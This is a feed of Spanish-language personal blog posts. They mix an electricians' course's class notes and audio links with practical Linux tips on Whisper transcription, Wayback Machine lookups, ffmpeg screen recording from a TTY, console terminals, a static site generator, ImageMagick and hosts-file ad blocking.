<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx_S6Ld41NNgI6EiVUS1hwLBLOTZURRVIDPInO9_fYhD9T4Z42flrySeMrECjEJdKbF07vtwaAtUdUa5cs7yuIGeRYJSfS0PGhV6XIQYOeNQzIptKgcIHns322cPZVvgdpZDto9h7c7E4dSnTNM_d93UaYN9CD0o95E98F44BI41Ocvtqc5ONGxHcEIe4/s4160/IMG_20250729_190903967.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUKAn2wQluTwDC2rTtf8Ekf3BJUa7_rmPvpTprJNBaUz7-wDcvMhNNJCX05yONeyvgvAjQIPJ65K6TcZIdomTw7AJDEro0Za-ZAI7yJlMbi6p3vFCDhsTvwQo7n6BK4ojHYjykT9jbtwm6jbhldSs_RshhCQunH85tOVyzQq0nWwhgkWuF2A5H0yQ8bpk/s4160/IMG_20250729_190912951.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg98oxNl_3i7FGKxbbfqCB9Gpl46Ia-Khw2noV4fn0LR2IiBH25l-Iz51sVg6MRX_gwfskmbWaAg3L5WI4J4w8OSR9WOwyoubvwrriR4elCnMTtiSCZzGS8VxLh3zqCVrDYSJMSaEMtVjbUzDZopL14dCk7hOIkcWk62_IyOS0TgH772fBsoxdCMCD_JzI/s4160/IMG_20250729_190918183.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt0EHsVFJH3jRpbuhh4AwUn2OzAVgled0S-0tUvCKw2R3wdvEbdz5KV2Q0vF-p4Vz0bC99ggtQNysCAtcWqrcUPyn8szaIRctpFRR-EFoSkE-ao1HEpbN7C-X7vA-zKoW5fqyUXvsn7NzjEt0WCMhbFQP3jsvsqvxq43xbYluUSxJdRLaCpzPeRHlsVgM/s4160/IMG_20250729_191144129.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWpKhds_XAN5DkHzc0AcuUPSikWihPPK4dhFTo4QIiT3yTswQGevhIHbNU-f8gaHmftJNjqCxr3kz1fG8yjH9-SzId4lhphDNp0WZ-IB2sP53YJG5EkoB8Fa_eQRjTgTQx1PziESQF0Z3qpCsKt3FlBxxuJEObYHfQUKAezWOa9ImsGyN0nAOya8S0oyI/s4160/IMG_20250729_191155873.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcAgwxDez7gD2ciWS_9ieh1f2YQ1DpKsTzRIraXOLJ9akMIbbGfLbjPUITs6v0UdkiTshEVt_rJboBNaHTGJTxhKILUk1xOrSQk15akEzdzhHURDixRUH_tDBp187dbAYkTeB_r0rYnD9EtacjpSax9kl7bzmhwt8veqGmpeyNoWxAXOodM8OKcclHmBM/s4160/IMG_20250729_194110013.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKBghj0S1C5I3A4SNpfAnpodDc-UlHRtBDqlOrD0uGvUFIc1PWNjlrsLfQF38F-mWT-7RH933ce2UKNW_xIezQ2_4byZjacz4bufg7alxo1W8fIBkzSqAoQK4ubon-y9baTTfskhwlGge5gIhD6mCvNGn7E_QOpwOGcPmJnW9AMPvtMGYzFXYhg6qtR9E/s4160/IMG_20250729_194113124.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQ9KpuWBI4aANCN7tPrZI1_LGNvI-425GFShXm56NdpN2J1LZw6NRmLkcKy0t9yPBnLqTJ4ELF-SEacgb_UWavv1XAPhrjHBv83zUCettlTV2I1N2Y6wQngvRQz_UYm4zD_SuMRo8EdCYqpgdSBUYC9fck65Ulfl5uqxG5ENSxnM4Sziy4yFx9QRTvx-0/s4160/IMG_20250729_194116280.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQK8qgmpDDVpwz9i73o1dGBWlm5CA3tN8TJ4SobMwG2VbyQG93Cr054A7sS2uIX4KjVo89X2uP2C1gw6I4zE19aBrp-m-xJeO7NGq-tc1RRcv-fZoebf_nz8GhLRu4nLImCdTeX2JxGRunvgJhiUOSXFDzOhDzmxmenTn_-0pIfkUfN4Gbc90sZ_xZEJ0/s4160/IMG_20250729_202453950.jpg" alt=""></p>
<h5 id="transcripción">Transcripción</h5>
<p>Minuto 12.</p>
<p>Vamos a empezar a mirar estos planos algunos están en escala <code>1:100</code> y otro <code>1:50</code> ahí encontré, creo que por acá había unos más la idea principal es que tengan una idea, como y para qué sirve la escala.</p>
<p>Teníamos que traer hoja cuadriculada para hacer escala de planos para que sea más fácil.
En la librería venden un bloquecito de hojas cuadriculadas.</p>
-
Whisper
https://imlauera.github.io/whisper/
Tue, 29 Jul 2025 08:14:57 -0300
https://imlauera.github.io/whisper/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python -m venv whisper
</span></span><span style="display:flex;"><span>TMPDIR<span style="color:#f92672">=</span>/home/esotericwarfare/whisper/ pip install git+https://github.com/openai/whisper
</span></span><span style="display:flex;"><span>whisper --model small --language es 44.mp3 --output_format txt
</span></span></code></pre></div><p>Actualmente subo los videos a youtube como audio y luego descargo los subtitulos.</p>
-
Electricidad / Clase 47: Comienzo del curso montador electricista. Bienvenida a nuevos alumnos. Repaso conceptos de las primeras clases.
https://imlauera.github.io/electricidad47/
Tue, 29 Jul 2025 03:36:44 -0300
https://imlauera.github.io/electricidad47/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1979ylz1KTim">https://vocaroo.com/1979ylz1KTim</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-190">https://archive.org/details/record-190</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/watch?v=NB4SV-JIt1E">https://www.youtube.com/watch?v=NB4SV-JIt1E</a></p>
<h6 id="la-clase-que-viene-trabajaremos-con-hoja-cuadriculada">La clase que viene trabajaremos con hoja cuadriculada.</h6>
<h6 id="traer-hoja-cuadriculada--regla--metro">Traer hoja cuadriculada / regla / metro.</h6>
<p>Símbolos eléctricos.<br>
Repasamos conceptos viejos porque hay nuevos alumnos.<br>
Escala - metro patron.<br>
Metro unidad patrón, podemos tener cinta carpintero.<br>
Lo más importante es la canalización.<br>
Ubicación de las cajas octogonales.<br>
Planta eléctrico = es como si se le saca el techo.<br>
Montante eléctrico en un edificio hay tensiones bajas, internet, incendio. Detectores de humo pasillo, <br>
Sacar gas hacer con energía eléctrica<br>
Planta - es como sacar el techo.<br>
Alejandro siempre llega a las 7 pm.<br>
Plano eléctrico = bosquejo. Ubicación de bocas.<br>
Recta indica unión.<br>
Nos guiamos a través de la AEA.<br>
Caño corrugado mal.<br>
PVC(caño rígido) TR - PVC. RL - cañería de hierro.<br>
En ningún plano eléctrico aparecerá caño corrugado.<br>
Corrugado anaranjado está prohibido.<br>
19/16: 16 diámetro interno. 19 diámetro externo.<br>
A veces solo ponen 16 (es el diámetro interno)<br>
Los caños se compran por pulgada.<br>
Hay 3 tipos de caño = liviano, semipesado, pesado (También en PVC)<br>
Pesado se usa en industria<br>
Semipesado (embutido)<br>
PVC ahora viene con memoria<br>
Antes se doblaban caños con arena y a veces fuego (al profesor no le gustaba muy peligroso).<br>
Nomenclatura que indique tipo de caño<br>
Si vas a usar corrugado directamente compra uno más grande (7/8) en vez de 3/4.<br>
En la obra compraron corrugado de 5/8 en vez de 3/4 (vamos a ver si pasan los cables probablemente no).<br>
Espeche siempre intenta que tenga otra bajada.<br>
Sea PVC o hierro todos tienen elemento auxiliar: cupla, contectores.<br>
Entre 2 cajas debe haber</p>
-
Buscando links rotos en Archive.org
https://imlauera.github.io/archive/
Sat, 26 Jul 2025 02:45:18 -0300
https://imlauera.github.io/archive/
<p>Quise instalar cstrike desde el AUR pero me encontré con el que el link estaba roto:</p>
<p>Este era el link del juego <code>cstrike1.6</code>:
<a href="https://de.linuxgame.cn/%E5%8F%8D%E6%81%90%E7%B2%BE%E8%8B%B1/cstrike_1.6_i386.appimage">https://de.linuxgame.cn/%E5%8F%8D%E6%81%90%E7%B2%BE%E8%8B%B1/cstrike_1.6_i386.appimage</a></p>
<p>Con este comando verificamos si el ese link está archivado en <a href="https://archive.org">https://archive.org</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -s -I https://web.archive.org/web/*/de.linuxgame.cn/%E5%8F%8D%E6%81%90%E7%B2%BE%E8%8B%B1/cstrike_1.6_i386.appimage
</span></span></code></pre></div><p>Si nos retorna <code>200 o 301</code> lo tenemos. Ahora necesitamos el link para descargarlo, lo obtenemos de la siguiente manera:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ curl -s <span style="color:#e6db74">"http://archive.org/wayback/available?url=URL"</span> | jq <span style="color:#e6db74">'.archived_snapshots.closest.url'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$ curl -s <span style="color:#e6db74">"http://archive.org/wayback/available?url=de.linuxgame.cn/%E5%8F%8D%E6%81%90%E7%B2%BE%E8%8B%B1/cstrike_1.6_i386.appimage"</span> | jq <span style="color:#e6db74">'.archived_snapshots.closest.url'</span>
</span></span></code></pre></div><p>Ahora descargamos el appimage con el resultado obtenido:</p>
-
Grabar y streamear desde TTY (con la cámara)
https://imlauera.github.io/grabar_desde_tty/
Fri, 18 Jul 2025 21:32:33 -0300
https://imlauera.github.io/grabar_desde_tty/
<p>Grabar archivo de video (al grabar de esta forma solo estás usando el procesador sin la tarjeta gráfica):</p>
<p>amixer set ‘Internal Mic Boost’ 50%-</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -f fbdev -framerate <span style="color:#ae81ff">60</span> -i /dev/fb0 -f v4l2 -i /dev/video0 -f alsa -i pipewire -filter_complex <span style="color:#e6db74">"[1:v]scale=320:-1[cam];[0:v][cam]overlay=main_w-overlay_w-20:20"</span> -c:v libx264 -preset ultrafast -pix_fmt yuv420p -c:a aac -b:a 128k -async <span style="color:#ae81ff">1</span> -ar <span style="color:#ae81ff">48000</span> -latency <span style="color:#ae81ff">100</span> prueba.mp4
</span></span></code></pre></div><hr>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -f alsa -i pipewire -f fbdev -r <span style="color:#ae81ff">60</span> -i /dev/fb0 mamita.mkv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffmpeg -f alsa -i pipewire -f fbdev -r <span style="color:#ae81ff">60</span> -i /dev/fb0 mamita.mp4
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -f fbdev -framerate <span style="color:#ae81ff">30</span> -i /dev/fb0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -f v4l2 -i /dev/video0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -f alsa -i pipewire <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -filter_complex <span style="color:#e6db74">"[1:v]scale=320:-1[cam];[0:v][cam]overlay=main_w-overlay_w-20:20"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:v libx264 -c:a aac output.mkv
</span></span></code></pre></div><h3 id="claude-code">Claude Code</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -f alsa -i pipewire <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -f fbdev -framerate <span style="color:#ae81ff">30</span> -i /dev/fb0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:v libx264 -preset ultrafast -tune zerolatency -crf <span style="color:#ae81ff">23</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -threads <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:a aac -b:a 128k <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -pix_fmt yuv420p <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> output.mkv
</span></span></code></pre></div><h4 id="con-webcam">Con Webcam</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -f fbdev -framerate <span style="color:#ae81ff">30</span> -i /dev/fb0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -f v4l2 -framerate <span style="color:#ae81ff">15</span> -video_size 640x480 -i /dev/video0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -f alsa -i pipewire <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -filter_complex <span style="color:#e6db74">"[1:v]scale=240:-1[cam];[0:v][cam]overlay=main_w-overlay_w-10:10"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:v libx264 -preset ultrafast -tune zerolatency -crf <span style="color:#ae81ff">25</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -threads <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:a aac -b:a 128k <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -pix_fmt yuv420p <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> output.mkv
</span></span></code></pre></div><h3 id="este-es-el-que-uso-funciona-de-maravilla-claude-ai">Este es el que uso funciona de maravilla. (Claude AI).</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -f alsa -i pipewire <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -f fbdev -framerate <span style="color:#ae81ff">15</span> -i /dev/fb0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:v libx264 -preset ultrafast -crf <span style="color:#ae81ff">28</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -threads <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:a aac -b:a 96k <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -s 1024x576 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> output.mkv
</span></span></code></pre></div><h4 id="-s-no-sirve"><code>-s</code> no sirve</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -f alsa -i pipewire <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -f fbdev -framerate <span style="color:#ae81ff">15</span> -i /dev/fb0 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -filter_complex <span style="color:#e6db74">"[1:v]scale=1024:576[scaled]"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -map 0:a -map <span style="color:#e6db74">"[scaled]"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:v libx264 -preset ultrafast -crf <span style="color:#ae81ff">28</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -threads <span style="color:#ae81ff">2</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> -c:a aac -b:a 96k <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> output.mkv
</span></span></code></pre></div><h5 id="para-accelerar-el-video-eliminar-el-audio">Para accelerar el video eliminar el audio</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -i output.mkv -vf <span style="color:#e6db74">"setpts=0.04*PTS"</span> -an -c:v libx264 -preset slow -crf <span style="color:#ae81ff">28</span> output_acelerado.mkv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ffmpeg -i gentoo.mkv -vf <span style="color:#e6db74">"setpts=0.04*PTS"</span> -an -c:v libx264 -preset ultrafast -crf <span style="color:#ae81ff">28</span> -threads <span style="color:#ae81ff">0</span> output_acelerado.mkv
</span></span><span style="display:flex;"><span>ffmpeg -i output.mkv -vf <span style="color:#e6db74">"setpts=0.04*PTS,scale=854x480"</span> -an -c:v libx264 -preset veryfast -crf <span style="color:#ae81ff">30</span> -threads <span style="color:#ae81ff">0</span> output_acelerado.mkv
</span></span><span style="display:flex;"><span>ffmpeg -i output.mkv -vf <span style="color:#e6db74">"setpts=0.04*PTS"</span> -an -c:v copy output_acelerado.mkv
</span></span></code></pre></div><p>-vf “setpts=0.04*PTS” - Acelera el video 25x (0.04 = 1/25). Tu video de 24 horas quedará en aproximadamente 58 minutos</p>
-
Emuladores de consolas en TTY: fbterm, yaft y kmscon
https://imlauera.github.io/consolas_tty/
Mon, 14 Jul 2025 13:12:19 -0300
https://imlauera.github.io/consolas_tty/
<p>Kmscon es un emulador de terminal simple basado en la configuración del modo kernel de Linux. Reemplaza la implementación de VT en el kernel con una consola de espacio de usuario.</p>
<h5 id="instalación-en-archlinux">Instalación en ArchLinux.</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S kmscon-patched-git
</span></span></code></pre></div><h5 id="iniciando-el-servicio">Iniciando el servicio.</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl start kmscon
</span></span></code></pre></div><hr>
<p>FBTerm es una terminal de emulación de VT100 que se ejecuta en modo framebuffer, que es una forma de mostrar gráficos en una pantalla de computadora sin utilizar un servidor de ventanas como X11. En otras palabras, FBTerm permite utilizar una terminal de comando en un entorno gráfico sin necesidad de arrancar un sistema de ventanas completo.</p>
-
Libreboot Static Site Generator(Lbssg) con pandoc.
https://imlauera.github.io/lbssg/
Mon, 14 Jul 2025 09:43:10 -0300
https://imlauera.github.io/lbssg/
<p>Usa pandoc como dependencia.</p>
<p>Cree este sitio: <a href="https://cursoelectricidad.github.io">https://cursoelectricidad.github.io</a></p>
<p>Reposotorio: <a href="https://codeberg.org/libreboot/lbssg">https://codeberg.org/libreboot/lbssg</a><br>
Documentación: <a href="https://libreboot.org/docs/sitegen/">https://libreboot.org/docs/sitegen/</a></p>
<p>Yo uso el sistema de blog de noticias al inicio de la página, borro el index.md</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cp www-example/bunnies www <span style="color:#75715e"># Tenes que copiar con el nombre la carpeta a www </span>
</span></span><span style="display:flex;"><span>cd www/bunnies/site
</span></span><span style="display:flex;"><span>rm index.md
</span></span><span style="display:flex;"><span>cd news
</span></span><span style="display:flex;"><span>mv * ..
</span></span><span style="display:flex;"><span>cd ..
</span></span></code></pre></div><p>Editá el archivo <code>news.cfg</code> y agrega una descripción a tu blog, en mi caso hice un blog de electricidad.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>BLOGTITLE<span style="color:#f92672">=</span><span style="color:#e6db74">"cursos"</span>
</span></span><span style="display:flex;"><span>BLOGDESCRIPTION<span style="color:#f92672">=</span><span style="color:#e6db74">"Electricista"</span>
</span></span></code></pre></div><p>Borré la publicación <code>bunny</code> que tiene por defecto y renombré <code>resignations.md</code> para usarla como bienvenido.</p>
-
Covert: Rotar, cortar y achicar y agregar fondo a una imagen usando el comando convert de ImageMagick.
https://imlauera.github.io/convert_rotar_crop_imagen/
Sat, 12 Jul 2025 09:24:31 -0300
https://imlauera.github.io/convert_rotar_crop_imagen/
<p>Para rotar una imagen 90 grados con el comando convert de ImageMagick:</p>
<ul>
<li>90° a favor del reloj (clockwise):</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>convert imagen.jpg -rotate <span style="color:#ae81ff">90</span> salida.jpg
</span></span></code></pre></div><ul>
<li>90° en contra del reloj (counterclockwise):</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>convert imagen.jpg -rotate -90 salida.jpg
</span></span></code></pre></div><p><strong>Achicar imagen a <code>200x200</code></strong>:</p>
<pre tabindex="0"><code>convert -resize x200 input.png output.png
</code></pre><h1 id="agregar-fondo-a-una-imagen">Agregar fondo a una imagen</h1>
<h3 id="add-a-solid-background-eg-white-to-a-transparent-image">Add a solid background (e.g. white) to a transparent image:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>convert input.png -background white -alpha remove -alpha off output.png
</span></span></code></pre></div><h3 id="place-on-a-colored-background-canvas">Place on a colored background canvas:</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>convert input.png -background <span style="color:#e6db74">"#ffcc00"</span> -gravity center -extent 800x800 output.png
</span></span></code></pre></div><p>👉 This puts your image in the middle of an 800×800 yellow canvas.</p>
-
Como bloquear distracciones de Internet (publicidad/virus/basura): /etc/hosts
https://imlauera.github.io/etc_hosts/
Fri, 11 Jul 2025 15:59:25 -0300
https://imlauera.github.io/etc_hosts/
<p>En ArchLinux es fácil simplemente no abras el entorno gráfico quedate en la TTY es bastante más complicado distraerte.
Para lo demás usá tu celular.</p>
<p>Adicionalmente si querés bloquear malware, pornografía, publicidad podes usar este archivo:</p>
<p><a href="https://github.com/StevenBlack/hosts">https://github.com/StevenBlack/hosts</a></p>
<p>En Linux se hace modificando el archivo <code>/etc/hosts</code> en Windows también se puede hacer con otro archivo.
Yo uso este: <code>Unified hosts + fakenews + gambling + porn</code></p>
<p><em>Acordate que tu ISP sabe todas las páginas que visitas, así que lo recomendable siempre es navegar por lo menos a través de Tor.</em> Y si navegas por Tor la CIA, FBI y la NSA saben lo que haces.</p>
-
Electricidad / Clase 46: Chori final
https://imlauera.github.io/electricidad46/
Tue, 08 Jul 2025 20:58:41 -0300
https://imlauera.github.io/electricidad46/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1obbPubQmp4T">https://vocaroo.com/1obbPubQmp4T</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-183">https://archive.org/details/record-183</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/AyTuVpk8-Ok">https://www.youtube.com/embed/AyTuVpk8-Ok</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglzjYV23RQQi9GVvGTvlC5FR6PaFp-DOizqp6SNAEUX8CoKwTDMhqpqrAH8YirvW1O2llN7nfPtcX59OoXCdW6N3_fU5nrqE8JrR9eNX6xqqYFEYoMpGhHVCrD_OXAK8nmOvK79dyd8qehouh8GeckqvwQKKdCuaNwVb5hPPO0B1LEod0ht81d9LM_qEE/s4160/IMG-20250707-WA0006.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivf5XL1-HQaKS6rSBAcvTEMPS_1UhWo67IEVI23XW20ZvaTg_JbU5vTAlXYzt45hRKyLHrBnRrN5DP1O0DWlCwnJ2fO_G5hV-7m0s2l9t4RJFBl8ZDnRREqZBc0yo2Cf7tkF7dcVmv0oN1GXc6aZ4J3Bx7HdhWOPNXQYOVvcgdYY5NOEubkSJT1yoRG1s/s4160/IMG-20250707-WA0007.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3Zz_Y7Fi1XoO1MaR4KtdxfP5zupHKhLujlfzWV9Y9YjSy5eitXCJgcPqabxpPH6PEEi373CY686P0ksOZTwVXMWfi1oD1wK-VVY_c2ZCaenlIFVsgHj2Q4SMOyrHA8fQLXKhNkf5Rd4EdR8F2ftpRNHFarc0xf08JVPy2RjfgsGb3H8EsyIXKb6FhGsI/s4160/IMG-20250707-WA0008.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSce6IPTCyv0WU-_hopVlLdnbp33qv5yAwvTwsA5YtOF2W_TnEgdqxyS0II4OmbL3PP56zwJy-IwgmDMOLTNzFkSqUjYGaZAAAaIImlvjYmpkB4JeGx0977fFPwK0fOnkFODBD0fjHs6SavVonun8TQXD7gW_pHPbF2Ra24B8douzOkNtUmcMeFjvoA7E/s4160/IMG-20250707-WA0009.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDSz-rYWQjZXf7yf3FuiP-iDz1OfifPcpDCBG1uwzeQnkixJ4KgPvkc29MV0mwOMaMewkKgtVZ1frrAN0BG6oawyrAYxBi40SjCQUcFQcOhVMfUnMiyxqKNdDmunmBqu9E86_HbOY1khrcWSz3dYfwqu8AVyZUcDK_OGZSXfn5L5SKujSmaR6Xro6_ySE/s4160/IMG-20250707-WA0010.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYS3u49ixhwsj9T5wsoP_7MzgI42F8SfSkAUYvzlrV_XPos5DKaof7Wd16TwpAjyPKBeA2wDVZ8CTLhFHtSObNoDZS8KRL9k4_8wBTfXwR1ieWBiPnAW2Gxa9sAomxzaDamOekZp-b8MNHoWeuIIK7no1-cpsgZ-G0hyphenhyphenZsJB2BeMmdbrx5WAlFBNb1hv4/s4160/IMG-20250707-WA0011.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioLV4FajC-o8ZAluXZhoKz2J5aBbNwOdDbWXB9cWM_r0sP18gukeToU-jxcErAPQOEbjiQSkxXFKQlM5BeSdGtTFddpY0zM-4_GDLy7LG8LXvfeZ5FcAlqNKMeRI5lGmfxpD2VCWQNcOT7tKW3_Wn_oOkqDaJi-ob3qza8j04EjQiXJN5Qvs0HaNwwTCc/s4160/IMG-20250707-WA0012.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhwJKB0jhyphenhyphen8n4xzIvi0lMnUmnl3gNt55pPkDcD6sLx7FLxkPmTkDl6cCa9FRv-yYmdJEjB46LHrWefh4oc1yC3rMDjDaNA8wEubGmvNzlvDBifzZjKRIbe9hwUi3laR1BbRpZYBmuPR79Itsxq-rxeMhdrqJtlFT70IjuTlf8YV602cRk_epXA-hchJgU/s4160/IMG-20250707-WA0013.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA-rb3qVnhvBaiO7xzhFFVm9mK1WLsZQHEQMD7J9Y0APt4HnPlKduE6-0F9mnhnOhfmhq-I5bHelpBIkfblv2eZp0hftb0KAYgaWwEXUjTZ-iorRLnwLToZgOjBiJ3hXiBzf9nxcDVJEM4WIBiBQe6ayIiI3r3gLmmfa8HUrvwY7eufgRXnnKhyYYsEd0/s4160/IMG-20250707-WA0014.jpg" alt="">
